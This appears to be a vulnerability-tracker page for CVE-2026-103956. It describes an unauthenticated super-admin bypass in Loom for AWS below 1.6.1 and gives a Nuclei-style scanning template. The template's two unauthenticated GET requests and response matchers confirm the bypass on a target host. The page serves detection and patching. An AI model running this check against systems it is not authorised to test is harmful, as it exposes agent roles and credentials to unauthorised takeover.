CVE-2026-103956: Loom for AWS < 1.6.1 - Unauthenticated Super-Admin Access

2026-11-09 PoC Public

Description

Loom for AWS < 1.6.1 contains a broken authentication caused by missing authentication for critical functions in the authentication dependency, letting remote actors obtain super-admin authority over the agent control plane, exploit requires no identity provider configured.

Details

CVE
CVE-2026-103956 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-103956

info:
  name: Loom for AWS < 1.6.1 - Unauthenticated Super-Admin Access
  author: comradezephyr
  severity: critical
  description: |
    Loom for AWS < 1.6.1 contains a broken authentication caused by missing authentication for critical functions in the authentication dependency, letting remote actors obtain super-admin authority over the agent control plane, exploit requires no identity provider configured.
  impact: |
    Remote attackers can gain super-admin privileges, allowing full control over agent roles and credentials.
  remediation: |
    Upgrade to version 1.6.1 or later.
  reference:
    - https://github.com/awslabs/loom/security/advisories/GHSA-vgmj-998f-r8mp
    - https://aws.amazon.com/security/security-bulletins/2026-124-aws/
    - https://github.com/awslabs/loom/releases/tag/v1.6.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-103956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-103956
    epss-score: 0.02494
    epss-percentile: 0.84775
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: amazon
    product: loom-for-aws
  tags: cve,cve2026,loom,aws,auth-bypass,unauth,mcp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/auth/me HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "local-dev", "t-admin", "g-admins-super")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/mcp/servers HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

      - type: word
        part: body
        words:
          - "No identity provider configured"
          - "Not authenticated"
        negative: true
# digest: 4a0a0047304502203c11a9fbf1047ef6feb2914e12dd1a62488a7040266a44b1a06ea81dde5766790221009bd3ef8ec0b0878f078c69dabb2450f4a51ba72edeae5247d2af6849d3fe9983:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life